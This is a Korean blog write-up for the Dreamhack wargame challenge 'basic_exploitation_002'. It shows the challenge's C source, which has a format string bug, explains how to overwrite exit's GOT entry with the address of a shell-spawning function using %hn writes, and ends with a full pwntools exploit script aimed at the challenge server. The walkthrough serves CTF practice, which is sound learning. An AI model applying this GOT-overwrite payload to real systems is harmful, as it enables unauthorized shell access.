[Dreamhack] basic_exploitation_002

김성진·2022년 7월 15일
0

Dreamhack_System

목록 보기
4/44

📒 Description

Partial RELRO가 걸려있으며 NX 또한 걸려있다.


📒 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

이전 문제와 마찬가지로 get_shell을 실행시켜야 하겠다.
print(buf) 이 부분에서 format string bug 취약점이 존재함을 알 수 있다.
또한 exit(0)이 존재하므로 exit_got을 get_shell로 덮으면 문제가 풀릴 것이다.
PIE는 걸려있지 않으므로 바로 주소를 알 수 있겠다. 조심해야 할 점은 30초 시간제한이 걸려있는데 이 점 때문에 get_shell에 해당하는 만큼의 바이트를 출력해 %n으로 받게 될 경우 터질 수도 있다.

이 점을 조심해서 문제를 풀어보자면 %n으로 받는 것이 아니라 %hn 또는 %hhn으로 받아야 하겠다.


📒 Test & Debugging

우선 첫 4개의 %x가 41414141을 가리키는 점으로 보아 첫 포맷스트링은 앞의 4바이트를 가리킴을 알 수 있다.
즉 앞에서 부터 첫 번째 인자가 된다고 생각할 수 있겠다.

그렇다면 우리는 exit_got + 2, exit_got 이 순서대로 인자를 넣어줄 수 있겠다.
그리고 %hn을 각각 출력하여 2바이트씩 넣어주면 될 것이다.

gdb-peda$ p get_shell
$2 = {<text variable, no debug info>} 0x8048609 <get_shell>

get_shell의 주소는 0x8048609인데, little-Endian에 맞게 값을 넣어주어야 한다.
즉 exit_got+2에 \x48\x80에 들어가면 되는데, 정수 0x0804를 넣어주면 된다.
exit_got도 마찬가지로 \x09\x86이 들어가면 되고 이는 정수 0x8609를 넣어주면 되겠다.


📒 Exploit

📖 그래서 몇 바이트가 들어가야 하지 ?

이 질문이 굉장히 중요하다. 왜냐하면 %hn을 통해 받아야 하는데, 두 번째 인자인 exit_got의 경우 exit_got+2에 들어간 바이트 까지 계산해서 빼주어야 하기 때문이다. 이 때문에 exit_got+2를 먼저 받는 것이기도 하다. 왜냐하면 exit_got을 먼저 받게 되면 exit_got+2는 이미 자신이 받아야 하는 바이트 수를 초과하기 때문이다.

p32(exit_got+2)+p32(exit_got)

먼저 이렇게 두 가지를 받아야 한다. 저 두가지를 출력하게 되면 8바이트는 이미 먹고 들어가는 것이다.
따라서 exit_got+2에 들어가야 하는 바이트는 0x804 - 8이 되겠다. 현재까지 0x804 바이트가 출력되었다.
exit_got에는 0x8609 - 0x804 바이트가 들어가야 한다.
이렇게 각각 넣어주면 문제는 풀리겠다.

p32(exit_got+2)+p32(exit_got)+"%2044c%1$hn"+"%32261c%2$hn"

최종 페이로드는 이렇게 구성했다.

📖 exploit.py

from pwn import *

p = remote("host3.dreamhack.games", 22246)
e = ELF("./basic_exploitation_002")

exit_got = e.got['exit']
'''
get_shell = 0x08048609
exit_got + 2  =>  0x0804  =  2052 - 8                  =  2044
exit_got      =>  0x8609  =  34313 - 8 - ( 2052 - 8 )  =  32261

'''
payload = p32(exit_got+2) + p32(exit_got) + "%2044c%1$hn" + "%32261c%2$hn"

p.sendline(payload)

p.interactive()
profile
Today I Learned

0개의 댓글